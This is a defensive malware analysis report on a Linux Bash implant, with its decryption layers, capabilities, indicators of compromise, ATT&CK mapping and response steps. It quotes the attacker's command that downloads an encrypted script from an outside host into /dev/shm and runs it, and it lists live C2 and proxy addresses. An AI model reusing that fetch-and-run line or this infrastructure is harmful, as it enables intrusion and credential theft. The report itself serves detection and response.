Malware teardown/ Linux implant/ TLP:CLEAR

JuanShell

An encrypted Bash implant that an attacker ran from memory on a shared shell host, after the attacker logged in with a stolen SSH key. This report gives the full decryption method, the recovered capabilities, and the indicators of compromise.

Sample
js (53,847 bytes)
SHA-256
5ccef8e73a47a07f49ac25bbc94e9a14bfe0df149f219fd277b0bed01c4b2ff1
Type
POSIX shell script, encrypted
Payload
Bash, 2,886 lines, 121,903 bytes
Observed
2026-08-15, 11:07 to 11:11 (UTC+02:00)
Family
Fork of hackshell (THC)

01 What happened

The attacker connected over SSH and authenticated with a public key on the first attempt. No password was involved. The private key belonged to the account owner, so the account password policy could not stop the login.

About 27 seconds later the attacker fetched an encrypted script into /dev/shm, decoded it in memory, and deleted the downloaded file. Everything after that point is the script, not a human at a keyboard. The whole session lasted about 3 minutes and 10 seconds.

curl -4k -o /dev/shm/js https://logs.compileasaservice.online:2087/js \
  && PASSWORD=a86019b0574edbfdd01588d8acc39f1516f6a BC_FN=/dev/shm/js source /dev/shm/js
rm -Rf /dev/shm/js

The implant carries that command in its own header comment. The password arrives on the command line, not inside the file.

02 How the sample is protected

The file starts with #!/bin/sh and holds four layers. The first three layers only hide the fourth. A decoy string of 2,375 random bytes sits in a variable named _ and the script never reads it.

L0

Command substitutions that return nothing

The loader is cut into 104 fragments. Between the fragments the author put two substitution patterns that produce empty output. The shell joins the fragments back into one command before it runs them.

`:||<BEL>`      →  runs ": ||" and prints nothing
`! :&&<BS>#`   →  short-circuits, then the "#" comments out the rest

To undo this layer, remove every pair of backticks and the bytes between them.

L1

Base64 hidden inside high-byte noise

The joined command echoes a 9 KB blob into Perl. The Perl filter drops every byte outside the printable range. Only the Base64 characters survive.

eval "$(echo <blob> | LANG=C perl -pe "s/[^[:print:]]//g" \
        | openssl base64 -A -d)"
L2

A bash-crypt style loader

The decoded stage is a password loader. It sets a salt string and a small encrypted parameter. If the caller supplies no password, the loader asks for one on the terminal.

S='LmHFjcAD3zubKysZ'
C=2nemzxS1LjqSRPkwXtKQPw==

openssl enc -d -aes-256-cbc -md sha256 -nosalt -a -A \
  -k "C-${S}-${PASSWORD}"      # yields:  R=1937
L3

The body, encrypted and compressed

The body starts after the second newline plus one more byte. Three byte pairs stand in for characters that a shell line cannot carry. The loader restores them, decrypts, drops R bytes of padding, and decompresses.

B3 → \n      B1 → \x00      B2 → B

<body> | openssl enc -d -aes-256-cbc -md sha256 -nosalt \
           -k "${S}-${PASSWORD}" \
       | perl -e 'read(STDIN,$_,1937); print(<>)' \
       | gunzip
Note for analysts

The password never appears in the file. Without process telemetry that records the PASSWORD= assignment, this sample cannot be decrypted. Command-line capture is the difference between a full teardown and a dead end. In this case the audit log held the key material.

03 Reproduce the unwrap

Run these steps on a copy of the sample. Do not run the sample itself.

python3 - <<'EOF'
d = open('js.bin','rb').read()
ct = d[11844:]                       # skip 2 lines, then 1 byte
ct = ct.replace(b'B3',b'\n').replace(b'B1',b'\x00').replace(b'B2',b'B')
open('payload.enc','wb').write(ct)
EOF

K='LmHFjcAD3zubKysZ-a86019b0574edbfdd01588d8acc39f1516f6a'
openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "$K" \
  -in payload.enc -out payload.raw
tail -c +1938 payload.raw | gunzip > juanshell.sh   # R=1937

The result is 121,903 bytes of commented Bash. The offset 11844 is specific to this sample, because it depends on where the loader line ends.

04 What the implant does

JuanShell is a post-exploitation shell environment, not a single-purpose tool. It defines about 180 functions and prints a help menu. The operator drives it by hand after it loads.

Credential theft

Anti-forensics

Execution without a file

Persistence and privilege escalation

Removal of other malware

05 Lineage

JuanShell is a fork of hackshell by The Hacker's Choice. The source keeps a comment that points at github.com/hackerschoice/hackshell/issues/6, and it still calls the original service endpoints ip.thc.org, thc.org/ws, and gsocket.io.

The attacker added the parts that matter for attribution and detection. Those parts are the beacon to 91.92.242.200, the kernel module installer, the ten hard-coded SOCKS5 proxies, and the dltor downloader that falls back to public IPFS gateways.

06 Network indicators

IndicatorRoleDetail
209.160.32.194SSH sourceSource port 49212. Direct, not proxied.
logs.compileasaservice.online:2087Stager and toolsServes /js, /gsocket/socat, /exp/traitor-amd64, /exp/lpe-toolkit-amd64.
91.92.242.200:8880C2 beacon/react/apinodb.php?endpoint=sendmessage&message=SIG%20<public_ip>&dirty=react
91.92.242.200:10443Kernel module C2Module bootercfg, magic mtz, ICMP sequence 10725.
62.171.153.47gsocket relaySet as GSOCKET_IP for exfiltration over rsync.
37.120.235.188Tool download/blah.tar.gz
bin.pkgforge.devStatic binariesAbout 30 tools, including nmap, socat, tcpdump, noseyparker, and gost.

SOCKS5 proxies, hard-coded

The implant times a download through each proxy and caches the fastest one in /dev/shm/.fastest_proxy.

ProxyProxy
57.131.24.9:19051204.168.230.46:26065
57.131.31.130:38300138.124.55.193:14982
151.243.24.50:47611179.63.15.107:30612
66.94.96.33:361702.59.135.127:42213
178.254.33.163:16099178.105.177.190:18241

07 Host indicators

TypeValue
SSH key fingerprint[redacted], RSA. The key belongs to the victim, so this report does not carry the value. Request it from the authors.
Sample, SHA-2565ccef8e73a47a07f49ac25bbc94e9a14bfe0df149f219fd277b0bed01c4b2ff1
Loader saltLmHFjcAD3zubKysZ
Loader passworda86019b0574edbfdd01588d8acc39f1516f6a
Stage-2 passwordd79cecacbdc4b89874a5bd7d0899942d2c3d810fface73423218dcbb08b46e97
Kernel modulebootercfg
Files/dev/shm/js, /dev/shm/.fastest_proxy, /dev/shm/tmp.*
User agentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36

08 Detection

The implant leaves almost nothing on disk, so process telemetry carries the detection. These patterns are cheap to hunt and specific to this loader.

Timestamps are not reliable on a host that ran this implant, because oldify_file rewrites them. Prefer the audit stream and the journal over file metadata.

09 ATT&CK mapping

TacticTechniqueID
Initial AccessValid AccountsT1078
Lateral MovementRemote Services: SSHT1021.004
Defense EvasionObfuscated Files or InformationT1027
Defense EvasionDeobfuscate or Decode FilesT1140
Defense EvasionReflective Code LoadingT1620
Defense EvasionIndicator Removal: Clear Command HistoryT1070.003
Defense EvasionIndicator Removal: TimestompT1070.006
Defense EvasionImpair Defenses: Disable or Modify ToolsT1562.001
Defense EvasionHide ArtifactsT1564
Defense EvasionRootkitT1014
PersistenceBoot or Logon Autostart: Kernel ModulesT1547.006
Privilege EscalationExploitation for Privilege EscalationT1068
Credential AccessUnsecured Credentials: Private KeysT1552.004
Credential AccessUnsecured Credentials: Cloud Instance Metadata APIT1552.005
Credential AccessInput Capture: KeyloggingT1056.001
DiscoverySystem Owner or User DiscoveryT1033
DiscoveryProcess DiscoveryT1057
Command and ControlIngress Tool TransferT1105
Command and ControlProxy: Multi-hop ProxyT1090.003
Command and ControlApplication Layer Protocol: Web ProtocolsT1071.001

10 Response notes

  1. Treat every credential that the account could reach as compromised. The loot functions run in seconds and they read cloud metadata, SSH keys, and history files.
  2. Quarantine authorized_keys and rotate the key pair. The root cause is a stolen private key, so a password reset alone does not close the path.
  3. Check lsmod and the kernel taint flags. A loaded module survives the shell that installed it.
  4. Search for connections to 91.92.242.200 and 62.171.153.47 across the whole estate, not only the affected host.
  5. Hunt the same SSH key fingerprint in every sshd log you keep. One stolen key rarely opens one door.